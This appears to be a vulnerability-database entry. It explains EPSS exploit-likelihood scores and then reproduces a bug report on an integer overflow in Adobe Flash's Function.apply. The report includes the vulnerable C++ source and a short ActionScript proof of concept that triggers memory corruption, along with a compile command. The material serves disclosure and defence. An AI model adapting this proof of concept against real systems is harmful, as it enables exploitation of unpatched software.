EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

VERSION Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134 Operating System: Win7 x64 SP1 REPRODUCTION CASE From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp 944 // Specialized to be called from Function.apply(). 945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a) 946 { 947 int32_t argc = a->getLength(); ... 966 // Tail call inhibited by local allocation/deallocation. 967 MMgc::GC::AllocaAutoPtr _atomv; 968 Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom)); //here if argc = 0xFFFFFFFF we get an integer overflow 969 atomv[0] = thisArg; 970 for (int32_t i=0 ; i < argc ; i++ ) 971 atomv[i+1] = a->getUintProperty(i); 972 return env->coerceEnter(argc, atomv); 973 } So the idea is to use the rest argument to get a working poc. For example: public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) { try {a0.writeUnsignedInt(0x41414141)}catch (e) {} try {a1.writeUnsignedInt(0x41414141)}catch (e) {} try {a2.writeUnsignedInt(0x41414141)}catch (e) {} try {a3.writeUnsignedInt(0x41414141)}catch (e) {} try {a4.writeUnsignedInt(0x41414141)}catch (e) {} } public function XApplyPoc() { var a:Array = new Array() a.length = 0xFFFFFFFF myFunc.apply(this, a) } Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as.
